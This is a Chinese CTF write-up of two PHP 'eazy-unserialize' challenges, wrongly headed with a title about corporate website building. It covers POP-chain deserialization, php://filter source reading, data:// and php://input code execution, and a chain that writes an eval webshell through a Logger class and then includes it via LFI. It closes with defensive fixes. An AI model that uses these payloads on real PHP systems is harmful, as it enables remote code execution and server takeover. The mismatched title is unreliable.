企业官网建设流程全解析

1. 项目概述：两道题，暴露了PHP安全最经典的连环坑

先说结论：这届F5杯的“eazy-unserialize”两道题，表面考的是PHP反序列化，实际上把文件包含、PHP流协议、代码审计三个方向串成了一根线。你光会背POP链没有用，还得懂php://filter怎么读源码、data://怎么塞代码、include在什么配置下才会变成RCE。所以我打算把这两道题从头到尾拆开讲，不只是贴exp，而是把每一步的“为什么这么做”讲明白，顺便把我在真实环境里踩过的一些坑也整理出来。

这套内容适合三类人：一是刚接触PHP反序列化、被魔术方法和POP链绕晕的CTF新手；二是想搞懂LFI（本地文件包含）到RCE完整利用链的安全爱好者；三是写PHP业务代码、想搞清楚“为什么不能乱用unserialize”的开发同学。看完之后你不仅能复现这两道题，还能把同类题目的通用思路带走——比如遇到__destruct+include的组合，第一反应应该是找可控属性、构造文件路径、用协议封装器读文件或执行代码。

我先把核心脉络列一下，后面每一节都会展开：

• 反序列化漏洞的本质是“不可信输入进入unserialize”；
• 漏洞能否变成实际危害，取决于程序里有哪些魔术方法可供拼接；
• 这两道题的落点都在文件包含，所以协议封装器是绕不开的关键；
• 利用链的每一步都要考虑过滤规则和PHP版本差异，这部分是最容易翻车的。

2. 前置基础：反序列化不是玄学，而是PHP对象的“打包与拆包”

2.1 serialize与unserialize到底发生了什么

很多人一听到“反序列化”就觉得高深，其实用生活里的例子就能说清楚：serialize()就是把一个PHP对象压扁成一行字符串，好比把一辆自行车拆散装进纸箱；unserialize()就是收到纸箱后按图纸把自行车重新组装起来。

关键问题在于：组装过程中，PHP有一批“自动回调”的魔术方法会被触发。你传进去的字符串如果是攻击者精心构造的，那么拆包装包的过程就会执行攻击者想要的逻辑。我们看一个最基础的序列化字符串长什么样：

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"1234";}

拆解一下格式：

• O:4:"User"：对象（Object），类名长度4，类名是User；
• :2：有2个属性；
• s:8:"username"：字符串（string）类型的属性名，长度8；
• s:5:"admin"：属性值，字符串，长度5。

这个格式看着简单，但它有一个新手必踩的坑：属性长度值必须和真实长度完全一致。你在构造exp时如果数错了中文字符的长度，或者没注意到转义字符，unserialize会直接报错甚至产生意外的变量覆盖。后面讲实战时我会专门说这个。

严格来说，PHP的unserialize()本身就存在一些历史漏洞，比如CVE-2016-7124涉及的__wakeup绕过，但那是特定PHP版本才有的问题。现在大部分CTF题目和真实环境都是PHP 7.x甚至8.x，核心利用方式已经从“打unserialize本身”转向“打对象注入后触发的魔术方法”，也就是POP链。

2.2 魔术方法：漏洞的引爆点

PHP里有一类方法名以双下划线开头，它们在特定事件发生时会被自动调用。和反序列化利用最相关的有这几个：

这里最重要的一点是：魔术方法本身不危险，危险的是方法内部写了什么操作。比如某个类里的__destruct()写了include($this->file)，那反序列化入口就直接通向文件包含；如果某类的__toString()里写了call_user_func($this->cb, $this->arg)，那这就是一个代码执行点。

在实战里，我的习惯是拿到源码先不急着找入口，而是把所有定义了魔术方法的类全部列出来，再人工梳理哪些方法内部有“敏感操作”——文件操作、命令执行、SQL查询、eval、include、call_user_func、preg_replace的/e修饰符，这些都是高危信号。把这些点找齐，POP链的走向就清晰了一半。

2.3 POP链：把散落的代码串成利用链

POP（Property-Oriented Programming）是面向属性编程，思路和ROP（面向返回编程）非常像：程序里每一个类都是一块积木，单看任何一块都没法直接利用，但通过控制对象属性，让魔术方法按顺序被触发，就能把多个类的方法调用串成一条完整攻击链。

举个简单的例子，假设代码里有三个类：

class A { public $cmd; public function __destruct() { system($this->cmd); } } class B { public $obj; public function __wakeup() { $this->obj->evil(); } } class C { public $func; public function evil() { call_user_func($this->func); } }

单独看A类，__destruct会执行系统命令，但$cmd是可控的，所以直接构造A类的对象就行，不需要B、C。但如果A类不存在，只有B类和C类，那利用链就是：反序列化B对象 →__wakeup触发 → 调用$this->obj->evil()→ 如果$this->obj是C类的实例，就会进入evil()方法 →call_user_func执行$this->func指定的回调。这样通过控制对象属性，把两次方法调用串联起来，就能在没有任何直接危险函数的情况下完成代码执行。

这就是POP链的核心思想：找“跳板”。一道题目里可能给了十几个类，但真正形成一条可用链的可能只要两三个类。构造的时候要顺着执行顺序倒着写——先确定最终要执行的动作，再往前推，需要哪个方法、哪个类、哪个属性作为跳板，最后把整个嵌套的对象结构用serialize()生成出来。

需要提醒的是：POP链的稳定性受PHP版本影响。不同版本对属性访问控制（public/protected/private）、魔术方法的调用时机、以及某些方法签名都有差异，所以在本地复现时最好用题目标注的PHP版本，否则可能出现本地成功、远程失败的情况。

3. 文件包含与协议利用：LFI背后的PHP流封装器

3.1 文件包含函数为什么危险

include、include_once、require、require_once这四个函数，本意是代码复用。但当包含的文件路径由用户输入控制时，就出现了本地文件包含（LFI）。LFI能干什么？最基础的是读取任意文件，比如/etc/passwd；进阶一点，配合日志注入、临时文件竞争、协议封装器，就能升级成远程代码执行。

在真实的PHP代码里，常见的危险写法是这样的：

$file = $_GET['page']; include($file . '.php');

这种写法有个经典问题：你传php://filter/read=convert.base64-encode/resource=index，拼接后变成php://filter/read=convert.base64-encode/resource=index.php，因为.php后缀是在最后拼上去的，而resource=后面的路径本身不受拼接影响，所以依然能读到index.php的源码。但如果你传的是../../../../etc/passwd，拼接后是../../../../etc/passwd.php，在大部分Linux环境下会报错，因为不存在passwd.php。

所以做题时第一件事是搞清楚：目标代码是直接include($file)，还是include($file . '.php')。这两种写法对应完全不同的利用方式。

3.2 php://filter：不执行也能把源码“读”出来

LFI最具价值的能力之一，就是配合php://filter读取源码。原理很简单：php://filter是PHP内置的流封装器，可以对流数据做过滤处理。最常见的用法是：

php://filter/read=convert.base64-encode/resource=index.php

意思是：读取index.php的内容，先做base64编码，再返回给调用者。为什么要base64编码？因为PHP文件是纯文本，如果直接包含，include会把它当PHP代码执行，源码就变成执行结果了；而base64编码后，原文变成了编码字符串，既不会执行，又能通过解码还原出完整源码。

这个技巧在读源码时几乎是必用的。实际测试中还有几个变体，比如用php://filter/convert.base64-encode/resource=...省略read=，或者用php://filter/resource=...加多个过滤器。不同PHP版本对语法的兼容性略有差异，但read=convert.base64-encode/resource=这个写法最通用。

补充一个细节：php://filter不仅能读源码，还能配合string.strip_tags这种过滤器处理内容，某些情况下可以配合include做“去标签后剩代码”的骚操作。不过这两道题用不上，大家了解一下即可。

3.3 php://input与data://：把代码塞进包含点

当include包含的是一个可控路径时，除了读文件，我们还可以直接让它“包含代码”。两种常用手法：

第一种是php://input。这个封装器会读取请求体（POST body）作为数据源，所以请求变成：

POST /index.php?page=php://input Content-Type: text/plain <?php system('cat /flag'); ?>

只要allow_url_include开启，include('php://input')会把POST body里的内容当作PHP代码执行。注意php://input不受allow_url_fopen影响，但受allow_url_include影响。

第二种是data://。用法是把代码base64编码后拼在URI里：

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==解码后就是<?php system('cat /flag');?>。这里base64编码的作用是避免URL中的特殊字符干扰解析，同时data://要求数据部分不能包含&等URL保留字符，否则会被截断。

我用一个经验总结区分一下：php://input适合需要执行较长代码的场景，data://适合短payload。但两者都要求allow_url_include=On。很多CTF题目会在phpinfo()里直接把这个配置暴露出来，做题时如果看到页面里有phpinfo()，一定要先看allow_url_include的值。

3.4 allow_url_include：一个配置决定生死

这是我在这个系列里最想强调的一个点。看题的时候，很多人第一眼看到include($_GET['page'])就兴奋，结果payload打上去没反应，原因八成是这个配置项没开。

allow_url_include默认是Off，这个配置控制的是：include、require等语句是否允许从远程URL或者data://、php://input这类“URL式流”中读取内容。而php://filter不一样，它属于本地流封装器，只受allow_url_fopen影响——而allow_url_fopen默认是On。

所以判断逻辑是这样的：

• 如果想通过LFI读源码，用php://filter，大概率能成功；
• 如果想通过LFI执行代码，要么用data://、php://input（要求allow_url_include=On），要么找日志文件、临时文件、/proc/self/environ等本地文件作为包含对象来注入代码。

这两道题里，第一题用php://filter读源码、构造POP链触发include引入已有文件，不一定需要allow_url_include；第二题则可能直接用data://执行代码，这时就要确认配置。做题时如果页面爆出phpinfo()，那是最好不过的信息源。

4. 实战拆解：F5杯eazy-unserialize第一题

4.1 题目初探与信息收集

拿到题目，我一般先不看源码，而是先看页面行为。第一题的入口是一个很简单的表单，里面有个输入框，名字叫data，提交后页面回显一段序列化字符串。这个回显其实就暴露了后端逻辑：它把某个对象serialize()之后输出，然后又对用户输入unserialize()，并把结果对象的关键信息打印出来。

顺着这个线索，我用php://filter读取首页源码：

GET /index.php?data=php://filter/read=convert.base64-encode/resource=index.php

等等，这里要注意：入口参数不是data吗？怎么变成URL参数了？实际上我看回显结构发现页面有两种模式：一种是把$_POST['data']直接传给unserialize，另一种可能是include($_GET['page'])。很多题目会把多个功能揉在同一个入口里，做题时一定要把参数名、请求方式、触发路径全部试一遍，别默认“只有一个入口”。

从读出来的源码里，我看到三个关键的类定义：

class A { public $file; public function __destruct() { include($this->file); } } class B { public $data; public function __wakeup() { $this->data->show(); } } class C { public $source; public function show() { echo file_get_contents($this->source); } }

这段代码信息量很大：

• A类的__destruct里有include，且包含的是可控属性$file；
• B类的__wakeup会调用$this->data->show()；
• C类的show()用file_get_contents读取$source并输出。

先不急着连成链，我想先确认入口到底在哪里触发反序列化。看源码发现这样一段：

if (isset($_POST['data'])) { $obj = unserialize($_POST['data']); echo $obj->show(); }

入口清楚了：POST参数data直接进入unserialize，反序列化完成后对象会被echo，如果$obj是C类实例，就会触发show()；如果没有echo，那会等到脚本结束对象销毁时触发__destruct。

4.2 从反序列化入口到POP链构造

现在手里有三块积木：A、B、C。我想要的最终效果是读取flag文件。直接读flag最方便的是C类：它的show()用file_get_contents读取$source并输出。那我能不能直接构造一个C类的对象，POST给data，让echo $obj->show()把flag读出来？

理论上可以。但如果这么简单，这道题就不用设A、B两个类了。我实际测试后发现：C类的show()虽然是public的，但页面在echo $obj->show()之前有一段过滤逻辑：

$obj = unserialize($_POST['data']); if ($obj instanceof C) { die('no no no'); } echo $obj->show();

也就是说，直接传C类的对象会被拦截。这就是A、B两个类存在的意义——我们需要绕一个弯，让C类不是“直接”出现，而是作为B类的一个属性被裹在整体对象里，在反序列化之后的某个时机才被调用。

顺着这个思路，POP链的走向是：

1. 最外层是B类对象，其属性$data设为C类实例；
2. unserialize()完成时触发B的__wakeup()；
3. __wakeup()调用$this->data->show()，由于$this->data是C类实例，所以进入C类的show()；
4. C类的show()执行file_get_contents($this->source)，$source可控，设置为flag文件路径；
5. 读到的flag内容通过echo输出。

这个链绕开了instanceof C的检查，因为外层是B类对象，检查时$obj instanceof C为false，但是内部嵌套的C类实例在__wakeup阶段被调用了。

利用代码如下：

class B { public $data; public function __construct() { $this->data = new C(); } } class C { public $source = 'flag.php'; } $payload = new B(); echo serialize($payload);

本地生成序列化字符串后，POST给目标：

POST /index.php data=O:1:"B":1:{s:4:"data";O:1:"C":1:{s:6:"source";s:8:"flag.php";}}

然后页面就会把flag.php的内容吐出来。这里的flag路径不一定叫flag.php，常见的有/flag、flag.txt、/flag.php，做题时多试几个。我踩过的一个坑是：页面报file_get_contents读取失败，后来发现是相对路径问题，改成/flag或者../flag才读出来。

4.3 读源码之外的第二种解法：直接包含

在赛后复盘时，我发现这道题还有一条更“暴力”的路径：直接利用A类的__destruct触发include，配合data://协议执行命令。构造思路是：

1. 最外层是A类对象，$file设为data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==；
2. 反序列化完成后脚本结束，A对象销毁触发__destruct；
3. include一个data流，内容是我们注入的PHP代码，直接执行system('cat /flag')。

这个方案想成立，前提是allow_url_include=On。所以我再次确认了目标环境的配置，发现确实是On。于是构造：

class A { public $file = 'data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg=='; } echo serialize(new A());

发送后flag直接出来。这两种解法覆盖了两个知识点：一个是POP链绕过滤，一个是协议封装器直接执行代码。很多复现文章只写了其中一种，我把两条都列出来，是因为竞赛题目通常不做唯一解，多一条思路多一条保命的路。

5. 实战拆解：F5杯eazy-unserialize第二题

5.1 题目变化与考点升级

第二题明显比第一题上了一个台阶。首先是入口变了：不再是简单的POST参数，而是需要登录，登录后有一个文件列表页面，点开任意文件会显示文件内容，URL格式是index.php?f=xxx。我第一反应是测试LFI，直接传?f=php://filter/read=convert.base64-encode/resource=index.php，源码就被读出来了。

读完源码发现，这道题的结构是“双入口”：文件查看功能本身是LFI，但同时后端还有一个unserialize的调用点，藏在某个上传/配置功能里。源码里能看到这样的逻辑：

class Profile { public $username; public $avatar; public $callback; } class Avatar { public $path; public function __toString() { if (file_exists($this->path)) { return $this->path; } return 'default.jpg'; } } class Cache { public $dir; public $data; public function __destruct() { file_put_contents($this->dir . '/cache.txt', $this->data); } }

这次的关键点在于：Cache::__destruct()会把$this->data写入$this->dir下的文件里。如果$dir可控，配合LFI的?f=参数，就能实现“写文件+包含文件”的组合拳。

但问题来了：这道题对unserialize的输入有过滤。源码里有这样一段：

$data = preg_replace('/O:[0-9]+:"/', 'O:+",', $_POST['profile']); $obj = unserialize($data);

preg_replace会把序列化字符串中的O:数字:"替换成O:+"。这个替换本身是为了防止对方直接序列化对象？不，恰恰相反，这是为了兼容PHP的序列化格式：在PHP 7.2之前，O:+数字这种带加号的形式可以绕过某些基于/^O:\d+/的检测，同时unserialize是能识别O:+的。所以在某些环境下，这种替换反而给攻击者提供了便利——帮你把格式改成了可绕过检测的形式。

另外还有一个过滤：

if (strpos($data, 'Cache') !== false) { die('no'); }

它检查序列化字符串里是否包含类名Cache，包含就拦截。那我们怎么绕过？思路是：不要在最外层直接出现Cache，而是通过其他类的魔术方法间接操作。比如找另一个类Wrapper，它的__wakeup或__toString能创建或调用Cache对象——但这样还是绕不开字符串里出现Cache类名。

于是我看源码里还有什么可用的类，发现了这个：

class Logger { public $level; public $msg; public function __destruct() { file_put_contents($this->level . '.log', $this->msg); } }

Logger类同样能写文件，且类名不是Cache，字符串检查直接绕过。更妙的是，file_put_contents($this->level . '.log', $this->msg)这里$level可控，我们可以设置为../shell，那写入路径就是../shell.log，再配合LFI包含?f=shell.log，就完成了webshell落地。如果$msg是可执行PHP代码，包含后就能获取权限。

5.2 构造利用链与协议选择的细节

第二题的实际利用链是这样的：

1. POSTprofile参数，传一个Logger类的序列化对象；
2. Logger::__destruct()在脚本结束时触发，写入shell内容到指定路径；
3. 然后用LFI入口?f=shell.log包含日志文件，触发PHP代码执行。

我先把本地生成exp的脚本写出来：

class Logger { public $level; public $msg; public function __construct() { $this->level = '../shell'; $this->msg = '<?php file_put_contents("cmd.php", "<?php eval(\$_POST[a]); ?>"); ?>'; } } echo serialize(new Logger());

生成的序列化字符串嵌套了引号和反斜杠，这里有个很容易出错的点：eval($_POST[a])里的$_POST如果直接写在双引号字符串中，PHP会把它当变量解析，导致序列化出来的内容不正确。所以在写exp时要使用单引号或者对$进行转义。我实际用的是单引号包裹PHP代码，再用反斜杠转义内部的单引号：

$this->msg = '<?php file_put_contents("cmd.php", "<?php eval(\$_POST[a]); ?>"); ?>';

另一条更稳的路线是用data://协议直接写入一句话：

$this->msg = '<?php @eval($_POST["a"]); ?>';

写入后访问?f=../shell.log，再用蚁剑或者手工POST执行命令。这里有个反直觉的地方：很多人以为包含日志文件后，日志内容会被当成PHP执行，但前提是日志内容里包含有效的<?php ... ?>标签。如果内容里只有一行字符串，那包含进来也就是纯文本输出。所以写入的msg必须以PHP标签开头。

5.3 过滤绕过与失败路径复盘

我实际测试时遇到三个问题，这里记录下来：

第一个问题是类名过滤。一开始我直接构造Cache类的payload，被strpos($data, 'Cache') !== false拦截。后来换成Logger类才绕过去。这提醒我：做这类题目时，要把源码里所有类都列出来，而不是死盯一个最“完美”的类。有时候功能弱一点的类反而能绕过过滤。

第二个问题是file_put_contents路径拼接。$this->level . '.log'这个形式意味着路径末尾一定会被加上.log。如果我把$level设为../shell.php，写入的文件会变成../shell.php.log，包含后不会执行PHP。所以要么让$level本身就是../shell，利用.log后缀生成shell.log再包含执行；要么利用路径截断的旧技巧（现在PHP 5.3.4之后基本不可用）。最终我选择接受.log后缀，因为包含shell.log一样能执行其中的PHP代码。

第三个问题是preg_replace带来的序列化字符串变化。O:6:"Logger":2:会被替换成O:+6:"Logger":2:。我在本地用PHP 7.2以上版本测试时，这种带加号的格式是可以正常反序列化的。但如果目标是PHP 5.x的老版本，反而可能解析失败。所以做题前先确认PHP版本，我通常用响应头里的X-Powered-By或者题目描述判断。

6. 避坑指南：实操中踩过的坑与排查技巧

6.1 常见问题速查表

我把这两道题以及同类题目中最高频的问题整理成了一张表，配合对应的排查思路：

6.2 几个能让你少走弯路的习惯

第一，永远先读源码再动手。可能有人说“做CTF就是黑盒测试”，但PHP题基本都有源码泄露途径，php://filter、备份文件、.git泄露、www.zip都是常见入口。拿到源码后再构造利用，效率和成功率完全不是一个级别。

第二，本地搭一套和题目版本一致的PHP环境。我个人的做法是本地准备一个带PHP 7.4和PHP 5.6的容器，序列化payload在两个版本下分别测试一遍，确保兼容性。反序列化对版本敏感，这个钱省不了。

第三，注意请求方式的差异。php://input和data://对请求格式的要求不同：前者需要POST body，后者直接把内容编码放进URL。混用会导致代码没进去，反而让题目环境产生多余日志。

第四，序列化串的长度字段是新手杀手。当属性名或属性值包含中文、转义字符、或者对象嵌套多层时，建议每次都通过本地脚本用serialize()生成，而不是手写。手写一次可能错一次长度，本地脚本生成最稳妥。

7. 不只是解题：从攻击面反推防御

7.1 这类漏洞在真实业务中的形态

CTF题目的知识点，基本都能在真实业务中找到对应。反序列化漏洞在真实世界里最典型的两类场景，一是业务系统把用户输入的对象直接unserialize，二是利用phar://协议在文件操作函数中触发反序列化——比如图片上传、文件导出功能里用了file_exists()或getimagesize()去检查phar://开头的路径。

文件包含漏洞在真实代码里同样常见，最典型的是模板引擎加载路径、主题切换功能、多语言切换功能，把用户可控的键值拼进include路径里。我曾经审过的一个项目就是语言切换功能：

$lang = $_GET['lang']; include("./lang/{$lang}.php");

攻击者传?lang=../../../../etc/passwd%00，在老版本PHP里用空字节截断可以读到敏感文件；即使现在空字节截断失效了，配合日志投毒一样能打。所以在代码审计时，看到任何“参数拼进文件路径”的模式，都要当成高危项上报。

7.2 可落地的修复建议

防御角度讲几个务实的点：

第一，反序列化入口能不用就不用。业务中必须接收外部数据时，优先用JSON交换数据，而不是把PHP对象直接序列化传输。因为json_decode不会触发魔术方法，POP链天然断掉。

第二，如果要保留反序列化，至少加一层“允许类白名单”，PHP 7.0以后的unserialize()支持传入allowed_classes参数，限制只允许反序列化指定类。这是成本最低且效果明显的方案：

$obj = unserialize($data, ['allowed_classes' => ['User', 'Profile']]);

第三，文件包含点必须校验路径。用realpath()解析后检查是否在允许的目录前缀内，或者维护一个白名单映射表，杜绝用户直接控制路径片段。

第四，把allow_url_include显式设为Off，并确认生产环境的display_errors是Off。前者能挡住data://和php://input的直通执行，后者能避免报错信息泄露文件路径和配置细节。

第五，魔术方法内部不要直接使用用户可控数据去拼文件路径或命令。即使非拼不可，也要做严格过滤和校验，把可控部分限制在白名单内。

第六，日志文件不要放在Web可访问目录。日志投毒能成功，很大程度是因为日志路径暴露且内容可控。把日志移出Web根目录，同时限制日志内容里的请求头字段长度，能有效阻断这类利用。

我个人在实际做审计时常说一句话：攻击者利用的从来不是一个孤立的漏洞，而是多个低危点组合成的链。反序列化加上文件包含、日志注入，每一个单独看可能都是中低危，但组合起来就是RCE。所以修复的时候不能只堵一个点，而是从入口、过程、输出三段同时设防。

最后再分享一个实战中摸索出来的小技巧：读完源码后，先把所有“写文件”和“读文件”的方法找出来，再标出它们分别由哪个魔术方法触发，最后顺着“反序列化入口→魔术方法→文件操作”这条主线去推。按这个顺序分析题目，比漫无目的地翻代码高效得多。这两道题做完，我最大的体会就是：PHP安全里没有孤立的知识点，反序列化、文件包含、协议封装器就像连环扣，理解它们怎么联动，比单独背任何一个exp都值钱。